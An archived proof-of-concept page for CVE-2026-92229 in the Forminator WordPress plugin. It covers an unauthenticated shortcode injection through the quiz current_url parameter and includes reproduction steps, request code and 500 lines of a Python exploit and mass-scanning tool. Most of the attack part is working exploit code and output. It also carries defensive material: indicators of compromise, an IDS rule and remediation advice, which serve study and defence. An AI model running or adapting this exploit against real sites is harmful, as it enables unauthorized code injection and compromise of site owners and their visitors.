PoC Archive PoC Archive
CVE-2026-92229 category: web CVSS 9.1 (CRITICAL)
Patched

Forminator <= 1.57.2 — Unauthenticated Arbitrary Shortcode Execution via current_url (CVE-2026-92229)

Published: 2026-11-25 • Researcher: murrez (PoC repository owner); credited by Wordfence to Kuba; vendor WPMU DEV

Target software Forminator Forms – Contact Form, Payment Form & Custom Form Builder (WordPress plugin, WPMU DEV)
Affected versions All versions up to and including 1.57.2; fixed in 1.57.3. The NVD product/version-range fields were empty in the ingested record; the ranges above come from the CVE description and the upstream README.
Status PoC
Severity Critical · CVSS 9.1
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-19
Author / Researchermurrez (PoC repository owner); credited by Wordfence to Kuba; vendor WPMU DEV
CVE / AdvisoryCVE-2026-92229
Categoryweb
SeverityCritical
CVSS Score9.1 (per NVD/worklist; vector not supplied in the ingested record)
StatusPoC
TagsWordPress, Forminator, unauthenticated, CWE-94, code-injection, shortcode, do_shortcode, admin-ajax, plugin, quiz-module
RelatedN/A

Affected Target

FieldValue
Software / SystemForminator Forms – Contact Form, Payment Form & Custom Form Builder (WordPress plugin, WPMU DEV)
Versions AffectedAll versions up to and including 1.57.2; fixed in 1.57.3. The NVD product/version-range fields were empty in the ingested record; the ranges above come from the CVE description and the upstream README.
Language / PlatformPHP (WordPress plugin); the published PoC client is Python 3.9+
Authentication RequiredNo
Network Access RequiredYes

Summary

Forminator Forms is a WordPress form-builder plugin maintained by WPMU DEV. In versions up to and including 1.57.2, the quiz submission path runs the WordPress shortcode-processing function over a result HTML buffer that includes the attacker-supplied current-URL value, so an unauthenticated visitor can plant arbitrary shortcode markup in a quiz submission and have it executed by the site. The issue is CWE-94 code injection with a CVSS score of 9.1 and was fixed in 1.57.3 by limiting shortcode execution to the intended text fields. The public PoC (murrez/CVE-2026-92229) discovers the plugin and quiz modules, obtains the form nonce, and submits the malicious current-URL parameter through admin-ajax.php, verifying execution with a unique marker string.

Vulnerability Details

Root Cause

The quiz front-action code builds the quiz result HTML — including social-share attributes populated from the user-controlled current_url POST parameter — and then processes the whole assembled buffer with do_shortcode instead of restricting shortcode parsing to the specific text fields the plugin intends to support. Because current_url is not validated against a real URL or stripped of shortcode delimiters before the buffer is rendered, an attacker can inject arbitrary shortcodes into the page output. The upstream fix in 1.57.3 limits shortcode execution to the intended fields rather than the full HTML buffer.

Attack Vector

An unauthenticated attacker sends an HTTP POST to /wp-admin/admin-ajax.php with action set to forminator_submit_form_quizzes (or forminator_submit_preview_form_quizzes for the preview code path), a form_id for a published quiz, quiz answers, and a current_url value containing bracket-delimited shortcode markup such as a caption wrapper. A valid forminator_nonce is obtained first with an unauthenticated request using the forminator_get_nonce action. The Referer and Origin headers are set to the quiz page to look like a legitimate submission.

Impact

Arbitrary shortcode execution in the context of the WordPress site. The immediate effect is content injection or rendering of any shortcode registered by the target’s themes and other plugins, which can range from harmless markup to file disclosure, server-side request forgery, template injection, or remote code execution when a suitable shortcode is installed. The baseline vulnerability alone does not grant a shell; real-world impact depends on which shortcodes the site exposes. The PoC demonstrates and confirms execution of the shortcode primitive with a marker string rather than delivering a full RCE chain.

Environment / Lab Setup

Output
OS:          Linux (bare metal or Docker); any host able to run WordPress
Target:      WordPress 6.x with Forminator <= 1.57.2 active and at least one
             published quiz module
Attacker:    Python 3.9+ with requests and urllib3
Tools:       curl, browser developer tools, Python 3

Setup Steps

Shell script
1
2
3
4
5
6
7
8
9
wp plugin install forminator --version=1.57.2 --activate

python3 -m venv .venv && . .venv/bin/activate
pip install -r requirements.txt

python3 poc.py -u http://target --mode check

python3 poc.py -u http://target --mode exploit \
  --page-url /quiz/ --form-id 42 --shortcode "PROBE"

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the target version — the check mode fetches /wp-content/plugins/forminator/readme.txt and plugin asset URLs and compares the detected version against 1.57.2.

    Shell script
    1
    
    python3 poc.py -u http://target --mode check
  2. Identify a quiz module — check mode crawls common paths (/quiz/, /contact/, /survey/ and others), extracts form IDs and, where the HTML allows, maps quiz question IDs to answer IDs.

    Shell script
    1
    
    python3 poc.py -u http://target --mode check --page-url /quiz/ --form-id 42
  3. Obtain the form nonce — the tool POSTs action=forminator_get_nonce&form_id=42 to /wp-admin/admin-ajax.php and reads the nonce from the JSON response.

  4. Build the payload — current_url is set to the site base URL followed by a shortcode wrapper containing the chosen shortcode and a random marker, for example [caption]PROBE fm92229_ab12cd34[/caption].

  5. Submit the quiz — the tool POSTs the quiz answers, form_id, nonce and crafted current_url to admin-ajax.php with the quiz page as Referer and the site origin as Origin.

  6. Confirm execution — if the marker appears in the AJAX response body or JSON payload, the shortcode was processed; single-target mode prints a JSON result with exploited true, and mass mode additionally records the target in hits.txt.

    Shell script
    1
    2
    
    python3 poc.py -u http://target --mode exploit --page-url /quiz/ --form-id 42 \
      --shortcode "PROBE" --answers "2051:7608"

For authorized impact assessment only, the same request can carry a shortcode that is known to be registered on the target (for example one provided by an installed plugin) instead of the probe string.

Exploit Code

See poc.py in this folder (upstream file, header added for archiving). The exploit path is implemented by fetch_nonce(), build_current_url(), ajax_action() and submit_quiz_exploit(); CLI wiring and version/module discovery live in check_target() and exploit_target().

The essential request shape is:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
data = {
    "action": "forminator_submit_form_quizzes",
    "form_id": "42",
    "forminator_nonce": nonce,
    "current_url": "http://target/[caption]PROBE fm92229_ab12cd34[/caption]",
    "page_id": "0",
    "form_type": "quizzes",
    "answers[2051]": "7608",
}
r = requests.post("http://target/wp-admin/admin-ajax.php", data=data,
                  headers={"Referer": "http://target/quiz/",
                           "Origin": "http://target",
                           "X-Requested-With": "XMLHttpRequest"},
                  verify=False)
print("fm92229_ab12cd34" in r.text)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ python3 poc.py -u http://target --mode exploit --page-url /quiz/ --form-id 42
{
  "target": "http://target",
  "ok": true,
  "exploited": true,
  "marker": "fm92229_ab12cd34",
  "status_code": 200,
  "current_url_sent": "http://target/[caption]PROBE fm92229_ab12cd34[/caption]",
  "body_snip": "...PROBE fm92229_ab12cd34..."
}
[+] SHORTCODE http://target form=42

Detection & Indicators of Compromise

  • POST requests to /wp-admin/admin-ajax.php with action=forminator_submit_form_quizzes or forminator_submit_preview_form_quizzes whose current_url parameter is not a plain URL and contains shortcode delimiters (literal “[” / “]” or URL-encoded %5B / %5D), especially wrappers such as [caption] or [/caption].
  • A forminator_get_nonce request followed immediately by a quiz submission from the same client, with Referer and Origin pointing at a quiz page but a current_url that carries markup.
  • Quiz AJAX responses containing unexpected rendered shortcode output, or a distinctive marker string such as fm92229_ followed by random characters.
  • Scanner-like reconnaissance: rapid GETs to /wp-content/plugins/forminator/readme.txt, /wp-content/plugins/forminator/assets/, and common form paths (/quiz/, /survey/, /contact/) from one source.
  • On-disk artifacts from this tool: cve_2026_92229_results.jsonl, hits.txt and candidates.jsonl in the operator’s working directory.

Example access-log line:

Output
1
2
POST /wp-admin/admin-ajax.php HTTP/1.1
action=forminator_submit_form_quizzes&form_id=42&forminator_nonce=<nonce>&current_url=http%3A%2F%2Fvictim%2F%5Bcaption%5DPROBE%20fm92229_ab12cd34%5B%2Fcaption%5D&answers%5B2051%5D=7608

SIEM / IDS Rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"CVE-2026-92229 Forminator current_url shortcode injection"; \
  content:"forminator_submit_form_quizzes"; http_client_body; \
  content:"current_url"; http_client_body; \
  content:"%5Bcaption%5D"; http_client_body; sid:9009229;)

Remediation

ActionDetail
PatchUpdate Forminator to 1.57.3 or later (1.57.3 limits shortcode execution to intended text fields); verify the changeset for the release before relying on it.
WorkaroundIf the plugin cannot be updated immediately, remove or unpublish quiz modules from public pages, and use a WAF/reverse-proxy rule to reject shortcode delimiters in current_url on admin-ajax.php quiz actions.
Config HardeningKeep WordPress core, themes and all plugins patched; remove unused plugins to reduce the set of registered shortcodes; enforce least privilege for site users; monitor admin-ajax quiz traffic and plugin version exposure; front the site with a WAF.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-92229 on 2026-11-25.

Review verdict: this is a real PoC with a working exploit mode, not a detector-only repository. The same tool also ships a check mode (version and module discovery), but the exploit mode performs the vulnerable request end to end: it fetches the quiz nonce, builds a current_url containing a shortcode, submits the quiz through admin-ajax.php and verifies the rendered marker. It was therefore ingested rather than skipped. The PoC was not executed during ingestion.

License: MIT (see LICENSE). The archived poc.py carries an added authorized-research header; upstream attribution is preserved.

Limitations: exploitation requires a published Forminator quiz module on the target; the preview action is offered as an alternative code path. Quiz answers must be parsable from the page HTML or supplied manually with –answers, so JavaScript-rendered quizzes are not auto-exploited. Proof is marker reflection of the shortcode primitive (an oracle), so a target that reflects current_url without processing shortcodes could produce a similar marker and should be validated with a shortcode whose output is distinctive. Achieving code execution or data disclosure depends on which shortcodes the target’s themes/plugins register, so the tool alone does not deliver a shell. Version detection relies on readme.txt and plugin asset URLs and can be blocked or spoofed. The check mode performs broad crawling and mass scanning; use only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-92229 (see README for attribution/license)
"""
CVE-2026-92229 - Forminator <= 1.57.2
Unauthenticated arbitrary shortcode execution via current_url (quiz AJAX).
"""

from __future__ import annotations

import argparse
import json
import random
import re
import string
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urlencode, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)

PLUGIN_SLUG = "forminator"
MAX_VULN_VERSION = (1, 57, 2)
FORMINATOR_VER_RE = re.compile(
    r"/wp-content/plugins/forminator/[^\"'\s>]+\?(?:ver=)([0-9]+\.[0-9]+\.[0-9]+)",
    re.I,
)

DEFAULT_PATHS = (
    "/",
    "/contact/",
    "/quiz/",
    "/quizzes/",
    "/survey/",
    "/test/",
)

CRAWL_HINTS = (
    "contact", "quiz", "survey", "form", "test", "poll", "register",
)

print_lock = threading.Lock()


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=30, pool_maxsize=30)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def resolve_page_url(base, raw):
    if not raw:
        return None
    raw = raw.strip()
    if raw.startswith(("http://", "https://")):
        return raw
    if not raw.startswith("/"):
        raw = "/" + raw
    return base.rstrip("/") + raw


def parse_version_tuple(text):
    if not text:
        return None
    parts = []
    for x in str(text).split("."):
        try:
            parts.append(int(x))
        except ValueError:
            break
    return tuple(parts) if parts else None


def parse_version_header(text):
    if not text:
        return None
    m = re.search(r"Version:\s*([0-9]+(?:\.[0-9]+)*)", text, re.I)
    if not m:
        m = re.search(r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)", text, re.I)
    return parse_version_tuple(m.group(1)) if m else None


def parse_version_assets(html):
    if not html:
        return None
    cands = []
    for m in FORMINATOR_VER_RE.finditer(html):
        v = parse_version_tuple(m.group(1))
        if v:
            cands.append(v)
    return max(cands) if cands else None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def plugin_urls(base):
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    return {
        "main": root + "/forminator.php",
        "readme": root + "/readme.txt",
    }


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "vulnerable": False,
        "patched": False,
    }
    urls = plugin_urls(base)
    header = ""
    for key in ("readme", "main"):
        try:
            r = get(s, urls[key], timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        if "forminator" in r.text.lower():
            out["plugin"] = True
            header = header or r.text
    ver = parse_version_header(header)
    if not ver:
        try:
            rh = get(s, base.rstrip("/") + "/", timeout=timeout)
            if rh.status_code == 200:
                if not out["plugin"] and "/plugins/forminator/" in rh.text.lower():
                    out["plugin"] = True
                ver = parse_version_assets(rh.text) or ver
        except requests.RequestException:
            pass
    if out["plugin"]:
        out["version"] = ".".join(str(x) for x in ver) if ver else None
        if ver:
            out["vulnerable"] = version_le(ver, MAX_VULN_VERSION)
            out["patched"] = not out["vulnerable"]
        else:
            out["vulnerable"] = True
    return out


def has_forminator(html):
    if not html:
        return False
    low = html.lower()
    return (
        "forminator" in low
        and (
            "forminator-module" in low
            or "forminator-form" in low
            or "forminator_quiz" in low
            or 'name="form_id"' in low
        )
    )


def extract_form_ids(html):
    ids = []
    seen = set()
    patterns = (
        r'id=["\']forminator-module-(\d+)["\']',
        r'forminator-form[^>]+data-form-id=["\'](\d+)["\']',
        r'name=["\']form_id["\'][^>]*value=["\'](\d+)["\']',
        r'value=["\'](\d+)["\'][^>]*name=["\']form_id["\']',
        r'\[forminator_quiz[^\]]*id=["\']?(\d+)',
    )
    for pat in patterns:
        for m in re.finditer(pat, html, re.I):
            fid = int(m.group(1))
            if fid not in seen:
                seen.add(fid)
                ids.append(fid)
    return ids


def extract_form_type(html, form_id):
    chunk = html
    m = re.search(
        r'id=["\']forminator-module-%d["\'][^>]*>(.*?)(?=id=["\']forminator-module-|\Z)' % form_id,
        html,
        re.I | re.S,
    )
    if m:
        chunk = m.group(0)
    if re.search(r'form_type["\']?\s*value=["\']quizzes["\']', chunk, re.I):
        return "quizzes"
    if "forminator-quiz" in chunk.lower() or "quiz_type" in chunk.lower():
        return "quizzes"
    if re.search(r'form_type["\']?\s*value=["\']poll["\']', chunk, re.I):
        return "poll"
    return "custom-forms"


def parse_quiz_answers(html, form_id=None):
    answers = {}
    chunk = html
    if form_id:
        m = re.search(
            r'id=["\']forminator-module-%d["\'].*?(?=id=["\']forminator-module-|\Z)' % form_id,
            html,
            re.I | re.S,
        )
        if m:
            chunk = m.group(0)
    for m in re.finditer(
        r'<input[^>]+type=["\']radio["\'][^>]+name=["\']answers\[(\d+)\]["\'][^>]+value=["\'](\d+)["\']',
        chunk,
        re.I,
    ):
        qid, aid = m.group(1), m.group(2)
        if qid not in answers:
            answers[qid] = aid
    if not answers:
        for m in re.finditer(
            r'name=["\']answers\[(\d+)\]["\'][^>]+value=["\'](\d+)["\']',
            chunk,
            re.I,
        ):
            qid, aid = m.group(1), m.group(2)
            if qid not in answers:
                answers[qid] = aid
    return answers


def parse_hidden_fields(html):
    out = {}
    for m in re.finditer(r'<input[^>]+type=["\']hidden["\'][^>]*>', html, re.I):
        tag = m.group(0)
        nm = re.search(r'name=["\']([^"\']+)["\']', tag, re.I)
        val = re.search(r'value=["\']([^"\']*)["\']', tag, re.I)
        if nm:
            out[nm.group(1)] = val.group(1) if val else ""
    return out


def parse_answers_arg(raw):
    if not raw:
        return {}
    out = {}
    for part in raw.split(","):
        if ":" not in part:
            continue
        q, a = part.split(":", 1)
        out[q.strip()] = a.strip()
    return out


def expand_paths(s, base, paths, timeout, max_extra=18):
    out = []
    seen = set()
    for p in paths:
        if p not in seen:
            seen.add(p)
            out.append(p)
    try:
        r = get(s, base.rstrip("/") + "/", timeout=timeout)
    except requests.RequestException:
        return out
    if r.status_code != 200:
        return out
    host = urlparse(base).netloc.lower()
    for m in re.finditer(r'href=["\']([^"\']+)["\']', r.text, re.I):
        href = m.group(1).strip()
        if not href or href.startswith(("#", "mailto:", "tel:", "javascript:")):
            continue
        if href.startswith("//"):
            href = "https:" + href
        if href.startswith("http"):
            if urlparse(href).netloc.lower() != host:
                continue
            path = urlparse(href).path or "/"
        else:
            path = href.split("?")[0].split("#")[0]
            if not path.startswith("/"):
                path = "/" + path
        if not any(h in path.lower() for h in CRAWL_HINTS):
            continue
        if path not in seen:
            seen.add(path)
            out.append(path)
        if len(out) >= len(paths) + max_extra:
            break
    return out


def discover_modules(s, base, paths, timeout, max_pages=16):
    found = []
    seen = set()
    for path in expand_paths(s, base, paths, timeout):
        if len(seen) >= max_pages:
            break
        url = resolve_page_url(base, path)
        if not url or url in seen:
            continue
        seen.add(url)
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200 or not has_forminator(r.text):
            continue
        for fid in extract_form_ids(r.text):
            key = (fid, url)
            if key in {(x["form_id"], x["page_url"]) for x in found}:
                continue
            ftype = extract_form_type(r.text, fid)
            answers = parse_quiz_answers(r.text, fid) if ftype == "quizzes" else {}
            found.append({
                "form_id": fid,
                "page_url": url,
                "form_type": ftype,
                "answers": answers,
            })
    return found


def fetch_nonce(s, base, form_id, timeout):
    url = base.rstrip("/") + "/wp-admin/admin-ajax.php"
    try:
        r = post(
            s, url,
            data={"action": "forminator_get_nonce", "form_id": str(form_id)},
            timeout=timeout,
        )
    except requests.RequestException as e:
        return None, str(e)
    if r.status_code != 200:
        return None, "HTTP %d" % r.status_code
    try:
        data = r.json()
    except Exception:
        return None, "invalid json"
    if data.get("success") and data.get("data"):
        return data["data"], None
    return None, json.dumps(data)[:200]


def build_current_url(base, shortcode, marker):
    base_url = base.rstrip("/") + "/"
    return "%s[caption]%s %s[/caption]" % (base_url, shortcode.strip(), marker)


def ajax_action(form_type, preview=False):
    if preview:
        return "forminator_submit_preview_form_%s" % form_type
    return "forminator_submit_form_%s" % form_type


def submit_quiz_exploit(
    s, base, module, shortcode, marker, preview, timeout,
):
    form_id = module["form_id"]
    page_url = module["page_url"]
    form_type = module.get("form_type") or "quizzes"
    if form_type != "quizzes":
        return {"ok": False, "error": "exploit path requires quiz module (form_type=quizzes)"}

    nonce, nerr = fetch_nonce(s, base, form_id, timeout)
    if not nonce:
        return {"ok": False, "error": "nonce: %s" % nerr}

    try:
        r0 = get(s, page_url, timeout=timeout)
    except requests.RequestException as e:
        return {"ok": False, "error": "page: %s" % e}
    if r0.status_code != 200:
        return {"ok": False, "error": "page HTTP %d" % r0.status_code}

    answers = module.get("answers") or parse_quiz_answers(r0.text, form_id)
    if not answers:
        return {"ok": False, "error": "no quiz answers parsed; use --answers qid:aid"}

    hidden = parse_hidden_fields(r0.text)
    current_url = build_current_url(base, shortcode, marker)

    data = {
        "action": ajax_action(form_type, preview=preview),
        "form_id": str(form_id),
        "forminator_nonce": nonce,
        "current_url": current_url,
        "page_id": hidden.get("page_id", "0"),
        "form_type": form_type,
    }
    for qid, aid in answers.items():
        data["answers[%s]" % qid] = aid

    ajax = base.rstrip("/") + "/wp-admin/admin-ajax.php"
    headers = {
        "Referer": page_url,
        "Origin": base.rstrip("/"),
        "X-Requested-With": "XMLHttpRequest",
    }
    try:
        r = post(s, ajax, data=data, headers=headers, timeout=timeout)
    except requests.RequestException as e:
        return {"ok": False, "error": "ajax: %s" % e}

    body = r.text or ""
    out = {
        "status_code": r.status_code,
        "body_snip": body[:1200],
        "current_url_sent": current_url,
    }
    try:
        j = r.json()
        out["json"] = j
    except Exception:
        j = None

    leaked = marker in body
    if j and j.get("success"):
        blob = json.dumps(j, ensure_ascii=True)
        if marker in blob:
            leaked = True
        out["ok"] = True
        out["exploited"] = leaked
        if not leaked:
            out["status"] = "submitted_no_shortcode_output"
        return out

    out["ok"] = False
    out["exploited"] = False
    if j and not j.get("success"):
        out["error"] = json.dumps(j.get("data", j), ensure_ascii=True)[:400]
    else:
        out["error"] = "unexpected response"
    return out


def check_target(url, timeout, proxy, paths, page_url=None, form_id=None):
    base = normalize_base(url)
    row = {
        "target": base,
        "status": "unknown",
        "plugin": False,
        "version": None,
        "vulnerable": False,
        "modules": [],
Showing 500 of 831 lines View full file on GitHub →